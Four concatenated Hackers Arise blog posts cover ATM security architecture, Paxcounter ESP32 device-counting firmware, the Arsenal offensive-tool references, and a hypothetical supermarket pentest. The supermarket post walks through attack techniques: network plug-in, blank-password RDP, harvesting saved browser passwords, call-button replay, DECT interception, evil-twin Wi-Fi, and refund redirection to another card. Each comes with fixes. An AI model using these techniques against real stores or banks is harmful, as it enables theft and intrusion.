Welcome back, aspiring cyberwarriors!

Part of our work involves supporting red team engagements. We review completed tests, size up the risk tied to each vulnerability and build out recommendations for shoring up the infrastructure. This time around, we wanted to pull back the curtain on something special. It’s ATM security. 

This article is written to help with security assessments on ATMs, showing possible vulnerabilities you may find. It covers many things, from running malware bought off a forum, to an insider on the bank’s payroll, to a service technician who understands the machine’s internals and has been handed broad access to the equipment. We also look at whether a hacker could get into the bank’s broader network simply because the perimeter wasn’t locked down well enough.

Nothing here is meant as a tutorial. We’re documenting weaknesses hackers could exploit so that defenders know what to fix, not handing anyone a blueprint. We take no responsibility for how this information is used.

With that out of the way, let’s start with where ATMs came from.

The History of ATMs

London got the world’s first working ATM on June 27, 1967. It was primitive by today’s standards, incapable of checking a balance, which is exactly why withdrawals topped out at 10 pounds, and it dispensed cash only against special vouchers rather than reading a card. 

Nearly six decades later, ATMs look nothing like those early cash dispensers. Now they are multifunctional devices, but the hackers never stopped circling. Part of the appeal is obvious. An ATM sits on a pile of cash and offers quick access to it, and there are simply too many machines scattered across too many places to guard them all closely. A lot of them sit in isolated, low traffic spots that run unattended around the clock, think gas stations. That has shaped decades of security investment, most of it aimed at physical hardening. Today’s units can weigh over half a ton and come loaded with sensors tracking position, internal temperature, and whether a compartment has been pried open.

Here’s the catch, though. The safe holding the cash is genuinely hard to crack, but the compartment housing the control electronics is a different story, and in our assessment, it remains poorly defended. That gap opens the door to logical attacks, ones that skip the crowbar entirely and go after the software instead, and that category has been gaining ground fast.

Cisco Talos has tracked a steady climb in new ATM malware variants since 2009. The raw sample count still looks small next to other malware families, but don’t let that fool you. Europe alone saw logical attacks on ATMs jump 269% in 2020 versus the year prior, and the average payout per incident ballooned nearly a thousandfold across that same window, climbing from roughly a thousand euros to well over a million.

What changed the game was availability. ATM malware used to be a rare, closely guarded tool. Once it started circulating more freely on underground markets, prices fell and so did the skill required to use it. Cutlet Maker, which surfaced in 2017, is a good illustration. It came bundled with a Russian language manual complete with troubleshooting notes for running it against different ATM models.

Fast forward to 2024, and vendors on those same markets were offering ATM malware through subscription pricing, monthly plans included.

Logical attacks have always had one real weakness. They take skill and patience to pull off. That’s why cheap, well documented malware kits have had such an outsized impact on the trend. Their upside for hackers is just as real. They’re far quieter than smashing a machine open, and they often let the same person come back to a compromised ATM again and again. Manufacturers have started fighting back on the hardware side too, with tamper protected cassettes that flood the cash inside with indelible ink the moment someone tries to force them open, ruining the bills instantly.

Brief Attack Statistics

The numbers tell their own story. ATM related crime climbed 600% between 2019 and 2022, with 165% of that increase packed into 2021 and 2022 alone. Physical break ins, which have always driven the bulk of ATM crime, contributed alongside the rise in logical attacks. Germany had 496 ATM explosions recorded in 2022, a record for the country. Zoom out globally, and incidents of that kind blew past 18,000 in 2023.

Losses have kept pace. Banks worldwide absorbed $2.4 billion in direct losses from ATM fraud by the close of 2023. Europe’s share came to 173 million euros, with 67 million of that tied specifically to skimming. The United States handles just 25.29% of global transaction volume yet accounts for 42.32% of global losses. Skimming remains a big part of why, showing up in 45% of all ATM fraud cases in 2023 and costing North America over $900 million, with more than 315,000 cards compromised across at least 3,000 financial institutions.

None of this is happening in a vacuum. The market for ATM protection has grown right alongside the threat. Still, priorities inside most banks remain lopsided. Physical security tends to get the lion’s share of attention, while the operating system, drivers, and control software logic running underneath often get treated as an afterthought. That imbalance carries real consequences. A 2022 RTM Group study found that hackers could breach an ATM’s housing without setting off an alarm in one out of every two attempts, giving them free rein to tamper with the equipment inside.

How an ATM Is Built

Making sense of how these attacks work starts with understanding what happens inside the machine during an ordinary transaction. We’ll walk through that process using one representative configuration, illustrated in the diagram below.

The diagram reflects one specific setup we’re using for illustration, not a universal default, since real world configurations vary by device.

1. User Layer

From where the customer stands, using an ATM is simple. They need to present a card and pick a transaction. That wasn’t always the whole story. Inserting a physical card into a reader used to be the only entry point, and that reliance on the magnetic stripe made skimming and shimming, techniques aimed at stealing card data to produce counterfeit copies, a persistent problem for years.

Contactless cards changed the entry point itself. NFC readers now sit alongside traditional card slots on most machines. 

A PIN code layers on additional protection against someone using a stolen card. Entry happens through an encrypting PIN pad, a combination of physical keypad and cryptographic module that ensures the PIN never travels or gets stored anywhere in plain text. Verification of the resulting encrypted PIN block happens back at the processing center. 

Once identity checks clear, you can withdraw cash, check your balance, transfer funds, and so forth. There’s a full computer running inside the housing, but customers never get anywhere near it directly. Every interaction they have flows through a single banking application running in kiosk mode, locked to full screen.

2. OS Layer

That computer we just mentioned lives inside what’s called the service zone, and this section covers what happens there, setting the cash handling hardware aside for the moment. Physically, the service zone is protected by a thin door and a basic lock. Machines from the same product line frequently share an identical key too, one that’s often available for purchase online with minimal effort.

Beyond the system unit itself, the service zone also houses the ATM’s networking equipment and its wired connections to the card reader, contactless reader, PIN pad, and dispenser, typically running over USB, Ethernet, PCI, or COM interfaces depending on the device.

Windows powers most of these systems, historically through Windows Embedded and increasingly through Windows IoT, a Windows 10 variant built for embedded use.

The kiosk application isn’t the only thing running on that OS. Alongside it sits the ATM’s control software plus a handful of security tools. That can be antivirus protection, Windows AppLocker that keeps unauthorized programs from executing, and a VPN client that maintains a secure tunnel back to the bank’s internal network.

Control software is arguably the most important piece at this layer. Core responsibilities for the control software boil down to managing peripherals and communicating with the processing center, though specific implementations often add more on top of that. Some bundle in software for a monitoring server, letting technicians manage an entire network of self service machines remotely. Others are built in a supervisor mode meant purely for technical staff, offering quick access to diagnostic tools through a hidden menu to simplify physical maintenance visits.

3. Network Layer

Selecting a transaction sets off a verification process handled entirely by the processing center, a server living on the bank’s internal network. That server confirms the card data is legitimate, checks the PIN again before letting the transaction through, rules out any restrictions on the account, and verifies there’s enough balance to cover the request.

Everything exchanged between the ATM and the processing center travels encrypted, usually through a VPN tunnel, protecting against interception or tampering along the way. NDC and DDC are the most common messaging protocols in this exchange, functioning as something of an informal industry standard even before multi-vendor control software became widespread. ISO 8583 and its various offshoots see heavy use as well. 

The processing center isn’t the only thing an ATM talks to. Many machines also maintain a connection to a monitoring server used for remote management, health checks, and pushing updates, and unlike the processing center link, this channel frequently runs without any encryption at all.

4. Firmware Layer

Once the processing center signs off, the control software hands things over to the dispenser for a withdrawal, or the deposit module if cash is going in. These components typically sit inside the most fortified section of the ATM, the safe zone, built from tougher materials and secured with its own dedicated key separate from the service zone. 

The dispenser counts out the required banknotes from the ATM’s cassettes, moves them into position at the dispensing tray, then opens the shutter, the physical flap that blocks access to the cash until it’s ready. Data moving between the control software and the dispenser can be encrypted, and both sides authenticate one another before any exchange begins, a safeguard against device spoofing. All of that encryption and authentication logic lives directly in the dispenser’s own firmware. 

Deposits work differently. Incoming banknotes pass through a validator that checks their authenticity.

ATM Attacks

With the mechanics of an ATM covered, we can turn to the threats themselves. Every attack against these machines falls into one of two broad camps, physical or logical, depending on what the hacker is going after and how they approach it.

Physical attacks go straight after the machine or its components, aiming to extract cash or knock the device out of normal operation without touching a line of code. These predate targeted malware by decades and don’t require much specialized skill. Some don’t even target the machine itself, focusing instead on the people standing in front of it.

Logical attacks operate on a different level entirely. They demand genuine technical skill and preparation, built around exploiting weaknesses in the ATM’s software and network layers. They draw less public attention than physical attacks despite posing a bigger threat to banks, largely because they’re quieter and let a hacker return to the same compromised machine to cash in more than once.

System attacks go after functionality or logic running at the ATM’s OS layer, typically aiming to extract cash or sidestep security controls outright. Black box attacks deserve special attention, where a hacker skips gaining OS access altogether and instead wires their own device directly into the dispenser to control it externally. The same technique can target other peripherals, like the banknote validator.

Network attacks aim at the ATM’s networking components instead, with hackers looking to intercept, forge, or otherwise abuse data in transit, or to seize remote control of the machine. With weak enough safeguards in place, a hacker can forge the responses coming back to the ATM and push through a cash withdrawal even after the processing center rejected it.

Not every attack in this framework ends with cash in hand. A hacker might, say, work to gain remote network access first, then pivot into an OS layer attack from there. 

We have seen cases where compromising a single ATM meant compromising the entire bank because there was no network segmentation in place. Conversely, gaining access to the bank’s internal network could provide a path to ATMs and other critical systems connected to it. Credential reuse and a lack of understanding of Active Directory security can lead to devastating consequences in environments like these.

Summary

ATMs have evolved from simple cash dispensers into complex and networked systems. Their security has evolved unevenly alongside them. Physical hardening has made the cash safe itself genuinely difficult to crack, but the service zone housing the control electronics remains comparatively exposed, and that gap has fueled a steady rise in logical attacks. These attacks demand more skill than a physical break-in, but they’re increasingly accessible because of well-documented malware kits.

Cybersecurity is a vast field, and we offer courses covering a wide range of topics, including Active Directory Hacking, Wi-Fi Hacking, Web Application Hacking, SCADA Security, and much more. Our course library is constantly growing as we continue to add new training, all of which is available through our Member Gold plan. If you want unlimited access to our entire training library, including our most advanced courses, consider upgrading to Subscriber Pro.

The post Pentesting: A Look at ATM Security first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Lately, we’ve covered several tools you can use with your laptop to track nearby devices and people. While they’re useful, their effectiveness depends on the strength of your Bluetooth adapter, and, of course, you need to have your laptop with you.

This time, we’re doing things differently. We want to show you a device that can automatically monitor nearby devices for extended periods, anywhere you choose to place it, and as often as you want. It doesn’t rely solely on Bluetooth, as it also uses Wi-Fi, which is far more likely to be enabled, increasing the chances of detecting someone in your area.

What is Paxcounter

Paxcounter is an open-source firmware project that takes a cheap little ESP32 development board and turns it into a sensor that can count people. Almost every smartphone in the world is constantly sending out small Wi-Fi signals, called probe requests, and Bluetooth signals too, even when the phone is not connected to anything. Paxcounter listens for these signals in the air. It counts how many different devices it hears during each scan, and from that, it can tell you a real time estimate of how many people are nearby.

The project started out as a simple way to measure how many passengers or pedestrians pass through a certain spot. But over time, it grew into something much bigger. Now it works as a general purpose IoT platform, built on hardware that usually costs somewhere between $10 and $30. Besides its main job of counting Wi-Fi and Bluetooth devices, a Paxcounter can also read environmental sensors, track its GPS position, keep accurate time, and send all of that data out through LoRaWAN, MQTT, a local serial connection, or straight onto an SD card. 

How the Counting Works

The way Paxcounter counts people is simple, but it was clearly built with privacy in mind from the very start. Every scan cycle, which lasts 60 seconds by default, the device switches its Wi-Fi and Bluetooth radios into scanning mode and listens for probe requests and advertisement packets coming from nearby devices. Each of these packets carries a MAC address. Paxcounter takes just the last two bytes of that address and turns them into a short, temporary ID. This ID is only used to check for duplicates during that one scan cycle. Once the cycle ends, the count of unique IDs gets sent out, and the whole list is wiped from memory. The firmware also does not try to fingerprint any device. It never tries to figure out a phone’s brand, its operating system, or who owns it. All it wants to know is whether that device has already been counted in the current window.

This scan and clear cycle just keeps repeating, either nonstop or on a schedule if deep sleep power saving is turned on. The results, which include the Wi-Fi count, the Bluetooth count, and sometimes live sensor readings too, get packed into a small payload and sent out through whatever channel the device is set up to use. One thing worth knowing is that Wi-Fi and Bluetooth scanning actually share the same 2.4 GHz radio hardware on the ESP32. So running both scans at the same time slightly lowers the accuracy of each one. Because of that, the project’s own advice is to split Wi-Fi only counting and Bluetooth only counting across two separate devices whenever the best possible accuracy is needed for both.

One Firmware, Many Boards

Paxcounter comes with a hardware abstraction layer and its own pin mapping files for dozens of ESP32 and ESP32-S3 boards. These come from well known manufacturers like LILYGO and TTGO, Heltec, Pycom, WeMos, M5Stack, and Adafruit, and there is also a generic template ready for boards that are not officially supported yet. LILYGO even sells a ready-made board called Paxcounter LoRa, built specifically to run this firmware. 

Depending on which board you pick, your device can end up supporting a LoRaWAN radio for sending data over long distances while using very little power, an OLED status screen, or a single color, RGB, or larger LED matrix light to show status. It can also support a physical button for flipping through display pages or sending an alarm message, battery voltage monitoring, GPS positioning, a real time clock chip along with IF482 or DCF77 time telegram output, and even an SD card slot for logging data locally when there is no network around.

Because the whole system was designed to be truly portable, the documentation goes into real detail about power draw, which usually sits somewhere between 450 and 1000 milliwatts depending on how the device is set up. It also makes good use of the ESP32’s deep sleep mode, so a device can keep running for a long stretch of time on just one 18650 lithium ion battery cell. Members of the community have already shared several 3D printable enclosure designs on Thingiverse for the more popular boards.

Getting the Device Up and Running

Paxcounter is built using PlatformIO instead of the plain Arduino IDE. This choice lets it work smoothly with editors like Visual Studio Code, Atom, or Eclipse, and it gives the project reproducible, script driven builds. In fact, the repository runs an automated PlatformIO build check every single time the code changes, using GitHub Actions, and there is even a CodeFactor badge that keeps an eye on ongoing code quality.

The configuration is intentionally spread across a handful of different files instead of being crammed into just one. This keeps board specific settings, behavioral settings, and personal settings nicely separated from each other. The platformio.ini file is where you select which board’s hardware profile you want to compile against. The paxcounter.conf file handles behavioral settings, things like how long a scan cycle lasts, sleep timing, and payload options. The shared lmic_config.h file sets the LoRaWAN region and frequency plan, so it matches the rules where you live. The shared loraconf.h file holds the device’s LoRaWAN join credentials, and the project recommends using OTAA rather than ABP for this. And the shared ota.conf file stores the Wi-Fi credentials the device uses for over the air firmware updates.

You can upload firmware the traditional way, over USB, or once a device has joined a LoRaWAN network, you can push updates over the air instead. A remote command tells the board to connect to Wi-Fi, check a hosted repository called PAX.express for a newer build, and then download and flash it automatically. If anything goes wrong during that process, it will roll back to the previous version on its own. Devices can also be set up to open a small local web based bootstrap menu right when they power on, which lets you upload a firmware file manually, even from a phone in tethering mode, without needing PlatformIO installed on site.

Configuration and Extensibility

Beyond just picking a board, Paxcounter gives you a long list of settings you can tune to fit your needs. It can log environmental data from sensors like the Bosch BMP180, BME280, BMP280, or BME680, read a Nova SDS011 particulate matter sensor to track dust in the air, and keep accurate time using either a DS3231 real time clock or a connected GPS module. 

Display and LED

On boards that come with an OLED display, Paxcounter shows live status information you can cycle through with a short press of the button. This includes the current pax count, meaning the people count, a histogram of recent activity, GPS status, environmental sensor readings, and the time of day. 

A long press of that same button sends an alarm message out over the network instead, which is a simple way to flag a problem from out in the field without needing any other kind of interface. Even on boards that do not have a display at all, a status LED still tells you what the device is doing through its blink pattern. You get a brief flash whenever a new Wi-Fi or Bluetooth device is spotted, a quick blink while the device is joining the LoRaWAN network, a short blink during data transmission, and a slow, long blink if there is a LoRaWAN stack error. Boards that have an RGB LED get a color coded version of these same signals.

How You Receive the Data

Once a Paxcounter has counted the people nearby and packed everything into a message, that data has to go somewhere so you can actually see it. How that happens depends on which output the device is using, and the good news is you can turn on more than one at the same time. If you are using LoRaWAN, which is the most common setup, the device does not send the data straight to you. Instead, a nearby LoRaWAN gateway picks up the signal first and forwards it on to a network server, usually The Things Stack. There is a small decoder script included with the project, and its job is to take that raw message and turn it into numbers you can actually read, something like a pax count of 14. From there, The Things Stack can pass the data along to your own app or dashboard using MQTT or a webhook, or you can simply watch it come in live through the built in console.

If a board does not have LoRa hardware built in, it can just skip the gateway completely and send that same kind of data straight to an MQTT service over Wi-Fi instead. You can also connect the device to a computer using a USB cable and read the numbers directly from a serial connection. This is a simple way to test things out without needing to set up a network at all. If SD card logging is turned on, everything also gets saved locally as a CSV file, so you can pull the card out later and open it up in a spreadsheet. This comes in handy in places where there is no network coverage to rely on. 

Where It’s Used

Because a single Paxcounter device is cheap to build and can be left running unattended for a long time, you will find it popping up in a pretty wide range of places. Retailers and shopping centers use it to measure foot traffic without needing to install cameras. Event organizers use it to watch how crowds move around a venue in real time. Pentesters can get a passive read on how many Wi-Fi and Bluetooth devices are active in a building, or to notice unexpected devices showing up where they shouldn’t, all without needing camera access or network credentials.

Legal and Privacy Considerations

Since Paxcounter’s whole job involves listening to wireless traffic, its documentation is unusually upfront about the legal side of things. It points out that sniffing Wi-Fi and Bluetooth MAC addresses may be regulated or restricted depending on where you live, and it links to specific starting references for the US, the UK, the Netherlands and the EU, and Germany. It also makes clear that the legal responsibility for how a device is built and deployed falls on the person doing it, especially for public deployments where the results might get published somewhere. On the technical side of privacy, the project’s own design actually holds up pretty well against that legal backdrop. Identifiers are only ever built from the last two bytes of a scanned MAC address, they are kept in memory just for the length of one scan cycle, and then they are discarded completely. No MAC addresses or identifiers are ever sent out over the network, and the firmware does not do any extra tracking or fingerprinting of the devices it scans.

Summary

What really makes Paxcounter stand out is not any single feature on its own. It is the whole combination working together. One piece of open source firmware supports dozens of cheap boards, runs for a long time on a small battery, counts people without saving anything identifying about them, doubles as a general environmental sensor node, speaks LoRaWAN, MQTT, serial, and SD card all at once, and can be fully reconfigured from a distance once it is out in the field. The full source code, the complete board list, and all the documentation are available on GitHub.

If you enjoy experimenting with frequencies and trying new things, we recommend signing up for our SDR for Hackers training. With Master OTW, you’ll learn how to use your computer and inexpensive SDR hardware to explore and hack a wide range of radio signals.

The post SDR (Signals Intelligence) for Hackers: Tracking People with ESP32-Paxcounter first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Think back to the first time you installed Kali Linux. It was probably one of those moments where you realized just how many cybersecurity tools existed. Your applications menu was packed with hundreds of tools covering everything from recon and vulnerability scanning to exploitation, password attacks, wireless security and much more.

At first, it was exciting. But most beginners spend hours clicking through the menus wondering what every tool does and when they should actually use it. Unfortunately, the sheer number of applications quickly becomes overwhelming. Even if you dedicate time to learning them, chances are you’ll forget many of their names simply because there are so many available. On top of that, documentation isn’t always beginner-friendly. Some projects have excellent documentation, while others assume you already know exactly what the tool is supposed to do before you even start reading.

The good news is that you don’t have to memorize hundreds of commands or remember every tool available. Instead, you can build your own arsenal of references that helps you quickly find the right tool.

In this article, we’re going to build exactly that. We’ll explore two resources called Arsenal-NG and Arsenal, both of which are designed to make finding offensive security tools, payloads, commands much faster.

Arsenal-NG

The first tool we’ll look at is Arsenal-NG. The name pretty much explains what it does. Arsenal-NG is essentially a searchable collection of offensive security tools, commands, and predefined workflows. Whether you’re doing reconnaissance, exploiting a service, generating payloads, Arsenal-NG can help you find the right tool for the job.

Let’s install it.

kali > git clone https://github.com/halilkirazkaya/arsenal-ng.git
kali > cd arsenal-ng
kali > make build

Once compilation finishes, you can launch the program directly. For convenience, you may also want to move the binary into one of the directories listed in your PATH environment variable. Doing so allows you to start Arsenal-NG from any directory. 

kali > arsenal-ng

When it starts, you’ll immediately notice a large collection of tools organized inside the interface. Each tool includes predefined presets for different kinds of operations. 

To display the complete list of available tools, simply run tools

If you already know what kind of task you’re trying to accomplish but don’t remember what tool can do it, you can use the built-in search feature. Searching by keywords makes it easy to discover them.

Once you’ve found the tool you need, selecting one of its presets walks you through the required parameters. There you simply provide the requested information and let it generate the command for you.

If you need additional information about the application itself, run help.

Arsenal

Unlike Arsenal-NG, Arsenal focuses primarily on web exploitation and can be used directly from your browser. There is no installation process, making it convenient when you simply need a quick reference.

You can access it here.

One thing worth mentioning is that the website supports multiple languages. If the interface isn’t already in English, simply switch the language using the selector in the upper-right corner. Once inside, you’ll notice that the content is organized into several different sections, each designed to help with a different phase of a web penetration test.

One of them is Payloads.

This area contains a huge collection of payloads covering many different types of web vulnerabilities and exploitation techniques. Whether you’re working with command injection, SQL injection, XSS, SSTI, XXE, deserialization, or other common web vulnerabilities, chances are you’ll find useful examples here.

Another valuable section is Attack Chains.

Rather than simply providing payloads, Attack Chains guide you through the overall exploitation process. They outline the sequence of steps typically required to compromise a target.

The Commands section is another good reference.

You can build the command you need by selecting the appropriate options.

Then we have Wordlists.

There are numerous wordlists organized into logical categories, making it much easier to find exactly what you’re looking for. Each category often contains several different wordlists optimized for different situations. 

You’ll also find a large collection of Scripts.

These scripts cover a wide variety of purposes, including reconnaissance, AI-related security checks, subdomain takeovers, automation and more.

Of course, we’ve only scratched the surface. Arsenal contains more additional sections that are worth exploring on your own. Spend some time clicking through the different categories and seeing what they have.

Summary

Building your own cybersecurity arsenal isn’t about memorizing every command ever written. In fact, no experienced pentester or hacker remembers every tool, every option or every payload. There are simply too many of them, and new ones are being developed all the time. Arsenal-NG and Arsenal can help you organize knowledge. They are valuable when you’re getting started and they remain just as useful years later when you’re experienced.

Since many of these tools fall into different categories, such as network pentesting, web pentesting, bug bounty hunting, and more, the best way to develop your skills is through our Member Gold subscription. It gives you access to a wide variety of training courses covering different areas.

The post Linux for Hackers: Building Your Tool Arsenal first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Let’s talk about something most people never think about. When the news reports on a cyberattack against a big retail chain, the story usually sounds the same. A database got leaked or ransomware locked up the company’s files. These are real threats, and they deserve attention. But what happens if a hacker skips all of that and simply walks into a physical store with a laptop tucked in a backpack? No malware sent through email and no phishing link, just being there physically.

In this article, we are going to build a picture, drawn from several real walkthroughs of ordinary retail stores, all pointed toward one goal. We want to see the store the way a pentester sees it.

A Hacker in the Supermarket

Imagine someone stepping through the front doors with that mindset. Within a few minutes of walking the floor, a handful of things stand out.

There are the transformer checkout terminals and the self service kiosks, the modern face of retail, and also a possible weak point. There are staff call buttons mounted near the aisles, small radio transmitters that broadcast a fixed code each time someone presses them, a code that could potentially be captured and played back later. There are wireless DECT handsets still in use on some sales floors, the same cordless phone technology many offices have relied on for years. There are data collection terminals, plain Android devices that sometimes carry no password protection at all, with access to the store’s Wi-Fi settings. And running along the floor and behind the counters, there are network cables, which in the wrong circumstances could let anyone plug in and reach the store’s internal network.

Day 1 – Becoming an Insider

Many corporations believe their internal network is sealed off from the outside world, safe behind firewalls and passwords. That sense of safety can end at the first unlabeled cable lying loose on the floor.

Someone can walk up to a transformer checkout terminal,  unplug its network cable, plug in a laptop instead (or better yet, one of those devices we showed in previous articles), and type a simple command.

kali > sudo dhclient

That laptop could be handed an IP address from the store’s own internal network. If the network uses a /27 mask, that means an entire segment of the corporate infrastructure could open up right there.

Scanning the network might take only a couple more minutes, and inside, a hacker could find exactly what you would expect from a typical store. There could be the store manager’s workstation, with an open RDP port for remote access. There could be a Wi-Fi router still running its factory default settings. There could be a DECT base station handling internal telephony. There could be surveillance cameras, other registers and terminals, and tucked away in shared folders and configuration files, credentials and passwords saved in plaintext.

From there, someone could try connecting to the manager’s computer. If the RDP client offers a choice of accounts, and one of those accounts, say one named operator, needs no password at all, that should raise a flag. Normally Windows blocks RDP logins for accounts with blank passwords, so a setup like that means someone deliberately switched that protection off, likely to keep an easy access route open for themselves. Sysadmins often do it. But that’s a backdoor. We often see the same issue with VNC. That route could lead to the remote desktop of an employee with access to corporate email, internal messenger conversations, financial documents, work schedules, and delivery data.

And since Chrome is installed on nearly every computer in sight, opening Passwords could show saved logins for internal services, everything from the CRM system to the warehouse management software, sitting there in plain view.

How to Fix It

Passwordless accounts feel almost like a relic from an earlier era, yet they still turn up in retail environments from time to time. Alongside them, flat, unsegmented networks are common, where cameras, workstations, and Wi-Fi routers all sit together on the same segment. Add to that the simple physical accessibility of the equipment. Network cables, ports, and switches are often placed exactly where any employee, or any visitor, could reach them without much trouble.

Segment the network properly, giving separate VLANs to registers, service equipment, and employee workstations, so a breach in one area does not open a door to everything else. Restrict which devices are even allowed to connect through RDP in the first place. Turn on MAC address whitelisting along with Port Security, so an unknown device cannot simply be plugged into an open port and join the network. Require real passwords on every local account, without exception. Disable browser based password storage for anything tied to internal systems.

And finally, ask security staff to keep a closer eye on the registers themselves.

Day 2 – Telephone Game

Consider a small, easy to overlook detail, a staff call button tucked into a corner near an aisle. Pressed once, it sends a chime ringing across the store, and a salesperson comes over a moment later. Simple enough, on the surface.

Except with a HackRF One someone could intercept and record the exact signal the button sends the moment it is pressed. If that button broadcasts the same static signal every time, with no protection against replay, then anyone who plays that recorded signal back over the air could trigger the same chime, without ever touching the actual button. This is what we call a replay attack, and it remains a real possibility even now.

Once that chime lives on someone’s laptop, a single click could ring it out across the entire store. Employees might rush toward the sound, leaving a register briefly unattended, while someone else nearby has a short window to act.

The same HackRF One, paired with an open source tool called gr dect2, could also be used to listen to the surrounding airwaves. If a store still relies on wireless DECT handsets for internal communication, a call placed from one handset to another could, in principle, be intercepted and decrypted in real time as it travels through the air. From that point, anyone listening could pick up delivery schedules, work rosters, and conversations about register problems, all carried over employees’ DECT handsets.

Older pentest reports sometimes describe this kind of attack as only medium risk, mostly because of the cost of the equipment and the technical skill it supposedly requires. It’s different now. An original HackRF One costs somewhere around three hundred dollars, and less expensive clones can be found on online marketplaces for a fraction of that price. And gr dect2 makes the whole process more accessible, since it is an openly documented, freely available project.

How to Fix It

The fixes here lean more organizational than technical. It makes sense to retire primitive call buttons in favor of systems that use dynamic, constantly changing codes instead of a single static signal. Alongside that, replacing outdated DECT telephony with modern VoIP or straightforward wired communication removes much of this risk entirely.

Day 3 – Corporate Wi-Fi

What about the Wi-Fi? On paper, it can look genuinely solid, not a simple router with a shared password, but full WPA-Enterprise authentication requiring a proper login and password from each user. That sounds like a real obstacle, and in many ways it is. But it does not fully close the door. Someone could set up a rogue access point using the exact same network name as the legitimate one. If an employee’s device, whether a work tablet or a personal smartphone, tries to reconnect automatically, it might see two access points broadcasting the identical name and simply pick whichever one offers the stronger signal and the faster response. A rogue access point built for this purpose could easily be tuned to answer faster than the real one. Once a device connects to that convincing twin, it attempts to authenticate as usual, and in doing so, it sends its credentials straight into someone else’s logs.

How to Fix It

Setting up EAP TLS with proper certificate validation on every client device helps ensure a fake network cannot simply mimic its way into a successful login. Monitoring the surrounding radio spectrum regularly is also worthwhile. Even simple, freely available tools can detect unauthorized access points broadcasting names that match or closely resemble the real corporate network. And training staff matters. If a Wi-Fi password is unexpectedly requested a second time, or a connection seems to take suspiciously long, employees should feel comfortable reporting it to security or the IT security team right away.

Day 4 – Transformer Register and Cash Drawer

A transformer register is really a combined hardware and software unit, built around a metal cash drawer, both stationary and handheld barcode scanners, and a receipt printer. Along its bottom panel often sits a row of unprotected USB ports. Plugging in an ordinary keyboard there opens the door to some experimentation.

Pressing Ctrl Alt and one of the function keys from F1 through F5 can switch the screen to a text console, prompting for a login and password. Full system access could sit right there within reach. Even if the Alt F2 shortcut for quickly launching commands has been disabled, the multi user Linux console underneath may remain fully accessible regardless.

Power cycling the device and pressing Delete could open the BIOS. Without a boot password protecting it, the machine could be booted from an outside USB drive, handing over full control of the system, along with the ability to change settings or install unwanted software.

The most interesting risk, though, waits underneath the register itself. The metal cash drawer typically has a mechanical emergency release button on its underside. If the drawer has not been locked with a physical key, which happens more often than store staff would like to admit, then any customer could simply lean down, press that button, and slide the cash right out.

No discussion of registers is complete without mentioning their close relatives, the self checkout kiosks. These are essentially the same transformer registers, just packaged in a form factor that happens to be even more exposed. USB ports, network ports, and power ports often sit within easy reach. The real difference is that a transformer register might occasionally be watched by a nearby salesperson, while a self checkout kiosk usually sits alone in a corner, without much oversight at all.

Standing casually near a kiosk for just a few minutes could be enough to observe an employee entering their access code. From there, that access could open up the kiosk’s full functionality, including the ability to ring up items, process returns, and open that same metal cash drawer hiding underneath.

How to Fix It

The solution here is fairly clear once the problem is understood. Restricting physical access to the register hardware itself, through USB port blockers, closed enclosures, and sealed covers, prevents outside devices from being connected in the first place. A BIOS password combined with disabling boot from removable media protects against attempts to seize control of the system through a flash drive.

Employee authorization deserves attention too. Since the register already comes equipped with a barcode scanner, a smart approach is issuing personal ID badges with the employee’s password encoded directly into the barcode. The employee scans their badge, the system authenticates them instantly, and the actual password stays hidden from anyone watching nearby. Leaving the alphanumeric combination off the badge entirely prevents it from being typed in manually as a way to bypass the scanner.

And of course, the lock on the cash drawer matters. If it is even possible to leave that drawer unlocked, sooner or later it probably will be. Drawers that lock automatically, without relying on a person remembering to do it, offer a much more reliable solution.

Day 5 – Refund

Consider someone playing the role of an ordinary, everyday customer. They buy a small item in the store, pay with a card, and walk away with a receipt like anyone else. Once a self checkout kiosk sits idle for a moment, tapping the top left corner of the screen could open a hidden staff menu.

The system would ask for authorization. If someone types in a password they had observed a cashier enter earlier, often a simple employee ID number, that alone could be enough to land inside the cashier menu. 

From there, selecting a refund by sales receipt option could display a list of recent transactions, including the very purchase just made. A further step worth testing is whether the refund could be redirected, not back to the same card used to pay, but to a completely different one, belonging to someone else entirely. You might expect the terminal to block an operation like that, or at least demand confirmation from a senior employee before proceeding. In some systems, neither of those things happens, and an ordinary cashier’s password turns out to be enough to redirect the funds elsewhere.

To its credit, a system like this may honestly display a warning that the money will be sent to a different card than the one used for payment. But it can carry out the operation anyway, without further checks.

The item would stay with the customer, the original purchase would turn into a refund on paper, and the store’s money would end up in someone else’s account. One more detail worth checking is whether the refund function has any built in time limits. Many places only allow refunds within a set window, say fourteen days, in line with consumer protection law. But in some systems, attempting to process a refund for a purchase made several months earlier goes through without any resistance at all.

This points to a deeper gap in business logic and access control. The authorization threshold can sit far too low, since a rank and file salesperson’s password may be enough to trigger a real financial operation, and that password is often easy to observe over someone’s shoulder. There may be no check to confirm the refund card actually matches the original payment card. A refund landing on a different card is not automatically suspicious on its own, since many banks and retail chains support this for customer convenience. But operations like that should require sign off from the store manager, a financially liable employee, or someone else holding proper authority. And finally, there may be no meaningful time or amount limits at all, meaning refunds could remain possible over an unlimited stretch of time, and theoretically for an unlimited amount, up to whatever balance the register happens to hold.

How to Fix It

Two tier authorization is genuinely useful here, paired with a strict time window governing refunds. Automatic refunds could be limited to the last fourteen days, with anything older switching over to manual processing, complete with multi level review and documented sign off.

Tying the refund card to the original payment card by default, as a standing rule, closes much of this gap. Cash refunds, or refunds sent to a different card, should remain the exception rather than the norm, strictly regulated and logged separately from everything else.

A dedicated audit log for every refund operation, tied clearly to the cashier’s ID, the receipt number, and the recipient card, makes it possible to review the whole trail later if something looks off.

Summary

Nothing here requires exotic tools or rare expertise. The overall picture is worth taking seriously, because a store is never just a building full of shelves and registers. It functions as a branch of the corporate infrastructure itself, a set of trusted interfaces placed out into public space, right in front of every customer who walks through the door.

But these small, easy to overlook pieces can chain together. Network access can lead to credentials, credentials can lead to internal systems, internal systems can lead to operational data, and operational data can eventually lead to real financial consequences. A useful security assessment in an environment like this does not simply end with a recommendation to close a port and set a stronger password. It ends with a more useful question worth asking. Who decided, at some point along the way, that all of these things should sit within the customer’s reach in the first place?

If you enjoy hacking and would like to get started in cybersecurity, we have created the Cybersecurity Starter Bundle II to equip you with the knowledge and skills needed to begin your journey. If you want to advance your skills even further, our Cyberwarrior Path is made to help you delve deeply into the technology and show you how to break it

The post Pentesting: Hacking the Supermarket first appeared on Hackers Arise.

